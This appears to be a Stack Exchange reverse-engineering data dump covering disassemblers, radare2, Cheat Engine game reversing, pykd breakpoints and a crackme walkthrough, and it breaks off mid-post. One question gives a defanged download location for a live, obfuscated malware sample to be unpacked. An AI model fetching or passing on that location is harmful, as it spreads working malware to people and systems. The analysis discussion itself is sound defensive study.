  <row Id="17049" PostTypeId="2" ParentId="16340" CreationDate="2017-12-26T11:17:29.287" Score="-1" Body="&lt;p&gt;As answered by others, you don't need a specific build of IDA Pro to disassemble 64-bit code, there're many other alternatives. For example &lt;a href=&quot;https://github.com/pfalcon/ScratchABit&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScratchABit&lt;/a&gt; is free, open-source interactive disassembler which supports both 32-bit and 64-bit x86 code and is easily extensible to other architectures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fe3lJ.png&quot; alt=&quot;ScratchABit screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2017-12-26T11:17:29.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17050" PostTypeId="2" ParentId="11466" CreationDate="2017-12-26T11:26:21.190" Score="1" Body="&lt;p&gt;There's indeed a bunch of processing happens between having a raw PE, ELF, etc. file, to be able to disassemble it and show in a nice UI: loading and parsing a file, processing executable sections, converting offsets to virtual addresses, mnemonic disassembly itself, annotation of parts of disassembled instructions to allow e.g. to crossreference different parts of code/data and easily navigate among them, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There're number of open-source disassemblers whose code you can study to get more insight into inner workings (or to improve for your needs!). For example, &lt;a href=&quot;https://github.com/pfalcon/ScratchABit&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScratchABit&lt;/a&gt; is written in Python, is very easy to study and hack on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hIr9o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2017-12-26T11:26:21.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17051" PostTypeId="1" CreationDate="2017-12-27T08:34:08.797" Score="3" ViewCount="1753" Body="&lt;p&gt;I'm trying to unpack malware packed with ConfuserEx 1.0.0 and I can't seem to get it to work. Each time I remove the anti-tamper the whole file gets corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried all possible tools that I found online, when that failed I tried to do so manually using some tutorials I found online, I always end up destroying the executable in the first stage of the unpacking. I'm using dnspy for this sample.&#xA;each time I attempt to locate the anti-tamper module, it ends up being the incorrect one and i end up destroying the executable..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to debug it and check for memory dumps on x64(32 bit) debugger, I found some anti debugging mechanisms but I am still missing something because the program just keeps running junk code until i detach from it and it crashes, dumping it when its already loaded into memory also dumps junk code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? &#xA;Does anyone have experience with unpacking the confuserex packer? &#xA;Can you guys link me to some information I'm missing? or maybe explain how the ConfuserEx works? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate help in understanding how to unpack it. I'll provide the sample here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[WARNING THIS IS A LIVE MALWARE SAMPLE]&#xA;eagleepicsocks(dot)com/jk/jkeq.exe&#xA;[WARNING THIS IS A LIVE MALWARE SAMPLE]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22721" LastEditorUserId="1413" LastEditDate="2017-12-27T08:58:22.797" LastActivityDate="2021-06-01T03:04:45.420" Title="Unable to unpack heavly obfuscated malware" Tags="|malware|.net|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17053" PostTypeId="1" AcceptedAnswerId="17055" CreationDate="2017-12-27T17:51:59.597" Score="8" ViewCount="2482" Body="&lt;p&gt;I'm practicing with Radare2, latest commit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 2.3.0-git 16814 @ linux-x86-64 git.2.2.0-5-g61a903315&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;During my sessions, I need to rename local variables to a more understandable name, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var int local_110h @ rbp-0x110&#xA;:&amp;gt; afvn local_110h commandLine&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a command to inspect what's inside this variable and, eventually, what's pointing to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;px @ commandLine&#xA;px @ [commandLine]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt;px @ commandLine&#xA;Invalid address (commandLine)&#xA;|ERROR| Invalid command 'px @ commandLine' (0x70)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Passing through rbp works flawlessly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;px @ rbp-0x100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22655" LastEditorUserId="18698" LastEditDate="2017-12-27T20:09:56.833" LastActivityDate="2017-12-27T20:16:34.117" Title="Radare2: inspecting renamed variables" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17054" PostTypeId="1" CreationDate="2017-12-27T18:52:15.287" Score="1" ViewCount="329" Body="&lt;p&gt;I'm using the Capstone engine to develop an ELF disassembler. I have implemented a linear sweep algorithm as the most basic version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to implement the recursive traversal now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider some disassembly (it does not really matter what it does): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x4005b6:   xor ebx, ebx         &#xA;0x4005b8:   nop dword ptr [rax + rax]         &#xA;0x4005c0:   mov rdx, r13         &#xA;0x4005c3:   mov rsi, r14         &#xA;0x4005c6:   mov edi, r15d         &#xA;0x4005c9:   call    qword ptr [r12 + rbx*8]         &#xA;0x4005cd:   add rbx, 1         &#xA;0x4005d1:   cmp rbx, rbp         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using recursive traversal, am I correct in thinking that it would not be possible to disassemble what is at the below address (or any branch instruction with pointers as a target for that matter)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x4005c9:   call    qword ptr [r12 + rbx*8]         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. if it is of any interest, the value of r12 is computed as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x40058b:   lea r12, qword ptr [rip + 0x20087e]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the rip and r12 register is not referenced anywhere else in the wider disassembly that the code snipped belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22178" LastActivityDate="2017-12-27T18:52:15.287" Title="Pointer disassembly" Tags="|disassembly|x86|capstone|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17055" PostTypeId="2" ParentId="17053" CreationDate="2017-12-27T20:08:16.510" Score="5" Body="&lt;p&gt;You should use &lt;code&gt;afvd&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00402a00]&amp;gt; afv?&#xA;...&#xA;...&#xA;| afvd name     output r2 command for displaying the value of args/locals in the debugger&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Executing only &lt;code&gt;afvd&lt;/code&gt; will print you the values of all the local variables in the function, and if you'll execute it with a variable name you'll get radare2 command as a result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00402a00]&amp;gt; afvn local_110h commandLine&#xA;[0x00402a00]&amp;gt; afvd commandLine&#xA;pxr $w @rsp+0x110&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you'll get &lt;code&gt;pxr $w @rsp+0x110&lt;/code&gt;, which is a radare2 command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add a dot &lt;code&gt;.&lt;/code&gt; before it to execute it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00402a00]&amp;gt; .afvd commandLine&#xA;0x7fffdc9e9258  0x28ffedf4ccd19d64   d......(&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If, for example, you only want the address, you can use radare's internal grep.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00402a00]&amp;gt; .afvd commandLine~[0]&#xA;0x7fffdc9e9258&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information about radare's grep, execute &lt;code&gt;~?&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-12-27T20:16:34.117" LastActivityDate="2017-12-27T20:16:34.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17056" PostTypeId="2" ParentId="17045" CreationDate="2017-12-27T21:07:41.383" Score="2" Body="&lt;p&gt;The answer is complete for the questioner's #2, but let's dig a little-deeper into #1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other ways to analyze malware which implements anti-virtualization, vm-detection, sandbox detection, and sandbox evasion techniques. However, does the malware also include environmentally-keyed detection or evasion techniques, such as the ones outlined here -- &lt;a href=&quot;https://www.vmray.com/blog/sandbox-evasion-techniques-part-4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.vmray.com/blog/sandbox-evasion-techniques-part-4/&lt;/a&gt; -- (aka context-aware malware aka environment-sensitive)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cuckoo is an excellent sandbox for features and behavior extraction, so it's not always wise to jump to windbg or other classic bare-metal debugging (although sometimes it is wise to do this). If the built-in cloaking solution for Cuckoo, &lt;a href=&quot;https://github.com/jbremer/vmcloak/&quot; rel=&quot;nofollow noreferrer&quot;&gt;vmcloak&lt;/a&gt;, can prevent the malware from detecting or evading it then you still get all of the benefits of Cuckoo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these can be elicited early-on during static analysis or even during simple Yara triage. There are also advanced ways of performing Yara triage that will catch malicious processes in-the act, such as Godaddy's procfilter -- &lt;a href=&quot;https://github.com/godaddy/yara-rules/blob/master/features/virtualbox_detection.yara&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/godaddy/yara-rules/blob/master/features/virtualbox_detection.yara&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use dynamic analysis to elicit the sandbox detection, evasion, or context-aware malware techniques, be sure to know your limitations. &lt;a href=&quot;https://github.com/secrary/makin&quot; rel=&quot;nofollow noreferrer&quot;&gt;makin&lt;/a&gt; is a good starting framework to determine those anti-debugging capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of this depends on your goal with malware. What do you want to know about them; what questions do you have? Do you need to extract Proactive Threat Indicators for internal-only blacklists or will you be sharing them? Do you need to deconfig RATs that are operating on systems in your network? For example, a focus on nation-state RATs might warrant a jump to the -- &lt;a href=&quot;https://github.com/ctxis/CAPE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ctxis/CAPE&lt;/a&gt; -- tool or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a simple solution to scaling sandbox-based automation with stealth functionality that surpasses vmcloak, check out -- &lt;a href=&quot;http://drakvuf.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;drakvuf.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am definitely interested in more of the bare-metal techniques (especially the AMT RAM cloner!) spoken to by @ekse in the primary answer. These are also very-valuable! However, just because you have bare metal doesn't mean that context-aware malware techniques such as time bombs, logic bombs, and specifically-targeted malicious logic won't be an additional problem -- you'll have to account for them!&lt;/p&gt;&#xA;" OwnerUserId="3989" LastActivityDate="2017-12-27T21:07:41.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17057" PostTypeId="1" CreationDate="2017-12-28T00:05:02.370" Score="1" ViewCount="1879" Body="&lt;p&gt;I'm currently working on a small multiplayer modification for an old game from 2001. For now, I'm able to move the player remotely by its X, Y, and Z coordinates I found by reversing. But I don't know how to get to the animation function of the player. How do I start from this point? In the disassembly, should I search for something like a state that is set (PlayerRun, PlayerTurnLeft, etc.), or should I try to trace back where the coords are set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm kinda stuck and don't know how to start at this point. I'm working with CheatEngine and OllyDBG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I finally found the animation state value in memory with Cheat Engine. Changing it to the &quot;jump&quot;-animation works great, but not for the &quot;moving&quot;-animation. Probably the game checks for the user to press the key that moves the player forward. Anyway, I took a look at the disassembly that writes the animation state. I played around with some jumps and comparisons and in some cases, the animation won't show up, which means I'm basically in the right function. At this point I'm kinda stuck, because I don't know on how to find out the correct function (there are multiple) and its arguments.&lt;/p&gt;&#xA;" OwnerUserId="22730" LastEditorUserId="22730" LastEditDate="2017-12-31T18:21:43.520" LastActivityDate="2017-12-31T18:21:43.520" Title="Finding the player animation function of a game" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17058" PostTypeId="2" ParentId="17057" CreationDate="2017-12-28T02:52:55.477" Score="3" Body="&lt;p&gt;Are you looking for the function to modify locally on the client, or are you trying to identify a function that will handle outgoing coordinate data to move a player remotely? I'm going to assume the former for this answer. I'm also going to stick 100% to Cheat Engine. This isn't comprehensive by any means, but it should get you headed in the right direction from a dynamic analysis standpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coordinate data you've found is likely being fed through the function you're interested in at some point, but the question is how deep into subroutines are you potentially when your coordinate data is being passed through instructions. Thus, you can start by checking out what writes to any of three coordinate addresses you've found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have multiple results, and at that, any given result might be a shared instruction, so check for that by right-clicking on an instruction and choosing to view addresses that instruction writes to. If only one address pops up after a bit of testing, then you're good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once viewing that instruction in the disassembler, you'll be in some sort of routine that's presumably related to coordinate data. Is it directly the function you're interested in? This is where you'll have to spend some time reversing to find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of things that might help you along the way are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enumerate DLLs&lt;/strong&gt;: In the Memory Viewer window, click &lt;em&gt;View -&gt; Enumerate DLLs and Symbols&lt;/em&gt;. Any information that CE can glean in relation to function names, will populate there, so you could then search for names you might be interested in. A video demonstrating this can be viewed &lt;strong&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=U8_3lCp1nas&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dissect Code&lt;/strong&gt;: In the Memory Viewer window, click &lt;em&gt;Tools -&gt; Dissect Code&lt;/em&gt;. That will give you a lot of additional information where applicable as you reverse, like which CALLs are calling a routine you may find yourself in, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can also utilize CE's break/trace to find arguments being passed to functions. I like to begin with a cursory view of functions/methods being called that led to the one I'm in. To do that, in the Break and Trace window, check the box that says &quot;Step over instead of single step&quot;. I also like to check &quot;Save stack snapshots&quot; as well so I can potentially pick out some things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you may want to consider using Ultimap or Ultimap 2, found in the Memory Viewer window under Tools. They allow you to log function calls and filter out all the ones you know aren't the function(s) you're interested in. Two videos discussing Ultimap can be viewed &lt;strong&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Es-ziVPhrNs&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=T5sXoEEPFBQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;. If your target is 32-bit, then you can use an awesome little tool called &lt;strong&gt;&lt;a href=&quot;http://split-code.com/cda.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CDA: Code Dynamic Analysis&lt;/a&gt;&lt;/strong&gt; (tutorial video &lt;strong&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=P0UXR861WYM&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;) to do the same thing as Ultimap, but in a different manner (timeline-based) AND without the added headache of Ultimap requiring DBVM to work (Ultimap 2 doesn't require DBVM, but does require the right CPU as it utilizes &lt;strong&gt;&lt;a href=&quot;https://software.intel.com/en-us/blogs/2013/09/18/processor-tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel Processor Trace&lt;/a&gt;&lt;/strong&gt;).&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-12-28T02:52:55.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17059" PostTypeId="1" AcceptedAnswerId="17061" CreationDate="2017-12-28T08:15:12.947" Score="0" ViewCount="505" Body="&lt;p&gt;I am using pykd to debug an application which loads a dll only when some condition is met. How do I set a breakpoint in the dll which has not loaded yet in pykd such that my handler gets the callback? Currently my code looks something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExceptionHandler(pykd.eventHandler):&#xA;    def __init__(self):&#xA;        pykd.eventHandler.__init__(self)&#xA;&#xA;    def onException(self, exceptionInfo):&#xA;        return pykd.eventResult.NoChange&#xA;&#xA;    def onBreakpoint(self, id):&#xA;        return pykd.eventResult.NoChange&#xA;&#xA;    def onThreadStart(self):&#xA;        return pykd.eventResult.NoChange&#xA;&#xA;    def onThreadStop(self):&#xA;        return pykd.eventResult.NoChange&#xA;&#xA;    def onLoadModule(self, base, name):&#xA;        print &quot;onLoadModule &quot; + name&#xA;        # sys.stdout.flush()&#xA;        # if name == &quot;test_module&quot;:&#xA;        #     # test_module = pykd.module(&quot;test_module&quot;)&#xA;        #     # test_module.reload()&#xA;        #     # pykd.setBp(test_module.offset('test_function'), breakCount)&#xA;        #     # print pykd.dbgCommand(&quot;bl&quot;)&#xA;        #     print pykd.dbgCommand('bp test_module!test_function &quot;r;gc&quot;')&#xA;        #     # print pykd.dbgCommand(&quot;bl&quot;)&#xA;        #     # print &quot;Breakpoint Set %x&quot; % (test_module.offset('test_function'))&#xA;        #     print &quot;Breakpoint Set&quot;&#xA;        return pykd.eventResult.NoChange&#xA;&#xA;    def onUnloadModule(self, base, name):&#xA;        return pykd.eventResult.NoChange&#xA;&#xA;pykd.initialize()&#xA;pykd.handler = ExceptionHandler()&#xA;pykd.startProcess(&quot;testmydelayedload.exe %s\\%s&quot; % (os.getcwd(), sys.argv[1].strip()))&#xA;alloc_module = pykd.module(&quot;ntdll&quot;)&#xA;alloc_module.reload()&#xA;b0 = pykd.setBp(alloc_module.offset('RtlAllocateHeap')+0xe6, breakCount)&#xA;b1 = pykd.setBp(alloc_module.offset('RtlFreeHeap'), breakCount)&#xA;pykd.loadExt(&quot;C:\\Program Files\\Windows Kits\\10\\Debuggers\\x86\\winext\\ext.dll&quot;)&#xA;pykd.go()&#xA;pykd.killAllProcesses()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to manually set the breakpoint using &lt;code&gt;pykd.dbgCommand&lt;/code&gt; but the callback is not triggered in that case. I tried to change the return value of &lt;code&gt;onLoadModule&lt;/code&gt; to other than &lt;code&gt;pykd.eventResult.NoChange&lt;/code&gt; while setting a bp. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-12-28T11:40:02.440" Title="How to set bp in a dll which loads later in pykd?" Tags="|windows|windbg|pykd|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17060" PostTypeId="1" CreationDate="2017-12-28T11:12:48.830" Score="0" ViewCount="1471" Body="&lt;p&gt;A quick question regarding a &lt;code&gt;movzwl&lt;/code&gt; instruction which do not behave as I expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the disassembled code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movzwl (%rax),%eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before the instruction, &lt;code&gt;rax&lt;/code&gt; is &lt;code&gt;0x7fffffffe410&lt;/code&gt; and point to &lt;code&gt;0x5&lt;/code&gt;&#xA;After the instruction, I would expect &lt;code&gt;eax&lt;/code&gt; to be &lt;code&gt;0x5&lt;/code&gt; (which is the case), but I would not expect that the upper bits of &lt;code&gt;rax&lt;/code&gt; be cleared too... However, when debugging, &lt;code&gt;rax&lt;/code&gt; values &lt;code&gt;0x5&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that &lt;code&gt;movzwl&lt;/code&gt; would only clear the upper bits of &lt;code&gt;eax&lt;/code&gt;, but not the &lt;code&gt;rax&lt;/code&gt; ones. Could you explain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very very much for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hNdeC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hNdeC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19467" LastActivityDate="2017-12-28T23:13:38.310" Title="Linux x64 Disassembly: single movzwl operand question" Tags="|linux|x86-64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17061" PostTypeId="2" ParentId="17059" CreationDate="2017-12-28T11:40:02.440" Score="0" Body="&lt;p&gt;I just figured it out, the variable storing the bp should be global otherwise it won't work. It should be alive out of the class's context.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def onLoadModule(self, base, name):&#xA;        global test_function, test_module&#xA;        print &quot;onLoadModule &quot; + name&#xA;        if name == &quot;jscript&quot;:&#xA;            test_module = pykd.module(&quot;jscript&quot;)&#xA;            test_module.reload()&#xA;            test_function = pykd.setBp(test_module.offset('test_function'), breakCount)&#xA;            print &quot;Breakpoint Set %x&quot; % (test_module.offset('test_function'))&#xA;        return pykd.eventResult.NoChange&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-12-28T11:40:02.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17062" PostTypeId="1" CreationDate="2017-12-28T12:35:17.797" Score="1" ViewCount="123" Body="&lt;p&gt;Given the sample code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt; &#xA;&#xA;struct Data {&#xA;    int a;&#xA;    int b;&#xA;    int c;&#xA;};&#xA;&#xA;int main() {&#xA;    Data *d = new Data;&#xA;    d-&amp;gt;a = 1337;&#xA;    d-&amp;gt;b = 1338;&#xA;    d-&amp;gt;c = 1339;&#xA;&#xA;    std::cout &amp;lt;&amp;lt; d &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Printing out the address of the pointer &lt;code&gt;d&lt;/code&gt; is never the same (which seems logical). But the pointer that points to the base of &lt;code&gt;d&lt;/code&gt; is also never the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to find a static address that is always the same and points to the base of &lt;code&gt;d&lt;/code&gt;? Or do I need to do this with a signature scan?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main purpose is to always have a pointer to the base of &lt;code&gt;d&lt;/code&gt;, without disassembling it when I restarting the program.&lt;/p&gt;&#xA;" OwnerUserId="22735" LastEditorUserId="2959" LastEditDate="2017-12-28T14:03:01.637" LastActivityDate="2020-05-17T19:20:51.897" Title="Is there a static address to a pointer on Mac OS?" Tags="|c++|c|pointer|macos|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17064" PostTypeId="1" AcceptedAnswerId="17068" CreationDate="2017-12-28T15:13:05.993" Score="3" ViewCount="230" Body="&lt;p&gt;I found &lt;a href=&quot;https://platform.avatao.com/paths/a0dc20fc-f1b5-43c9-89fc-3a5fccfb5f0b/challenges/d80d53ed-597a-4b7e-9897-b85784489029&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; platform and its course path into Reverse Engineering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although very easy (at first) I'm kinda stuck in this binary n.2. Binary looks pretty easy and straightforward, but I can't figure it out how the code can count the length of user's password. I can see in the disassembled code that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BQiFV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BQiFV.png&quot; alt=&quot;Program block that is supposed to count user password&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just before &lt;code&gt;strlen&lt;/code&gt; call, &lt;code&gt;EAX&lt;/code&gt; will point always to command line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -Ad ./reverse2.dms AAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will count always &lt;code&gt;0x0e&lt;/code&gt; chars because of the length of string &lt;code&gt;./reverse2.dms&lt;/code&gt; and not the length of the submitted password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if is it a bug or ... maybe ... I simply don't get it. But as for this situation, interesting loop is never reached because &lt;code&gt;0x0e &amp;lt; 0x15&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can rename the binary and jump over the first block but... honestly I'm afraid it's not the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong?&lt;/p&gt;&#xA;" OwnerUserId="22655" LastEditorUserId="53" LastEditDate="2017-12-29T08:01:30.023" LastActivityDate="2017-12-29T08:01:30.023" Title="Avatao R3v3rs3 2" Tags="|assembly|radare2|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17065" PostTypeId="2" ParentId="17064" CreationDate="2017-12-28T16:09:40.640" Score="2" Body="&lt;p&gt;Well it looks like this is exactly what you should do as the code check for the name of the binary and not the parameters passed to it, as &lt;code&gt;argv[0]&lt;/code&gt; is the &quot;file name of the binary&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you solution is to either change the name to be longer than &lt;code&gt;0x15&lt;/code&gt; or to patch the binary. Maybe later there will be something that will steer to one of those solutions (i.e. checking the name) but for now it's looks like you can pick any.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-12-28T16:09:40.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17067" PostTypeId="2" ParentId="17060" CreationDate="2017-12-28T23:13:38.310" Score="1" Body="&lt;p&gt;This is a somewhat tricky part of the x64 instruction set and is not mentioned in descriptions of individual instructions but only as a sidenote in the general introduction section. Here's a good answer on it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11177137/why-do-x64-instructions-zero-the-upper-part-of-a-32-bit-register&quot;&gt;https://stackoverflow.com/questions/11177137/why-do-x64-instructions-zero-the-upper-part-of-a-32-bit-register&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-12-28T23:13:38.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17068" PostTypeId="2" ParentId="17064" CreationDate="2017-12-28T23:22:04.213" Score="3" Body="&lt;p&gt;As your initial instincts told you, it is quite a simple challenge and you are close. Let's understand together the logic of the program. As you did, I used radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's open the program in radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 reverse2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Analyze the binary and print the main function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048350]&amp;gt; aa&#xA;[0x08048350]&amp;gt; pdf @ main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to, you can use radare's great Visual Graph Mode to easily detect the function's flow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048350]&amp;gt; VV @ main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First the program checks whether you pass at least one argument to the program, i.e &lt;code&gt;num_of_arguments &amp;gt; 1&lt;/code&gt;. Remember that the filename counts as 1 argument so you'll need another one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048456      837d0801       cmp dword [arg_8h], 1&#xA;0x0804845a      7f16           jg 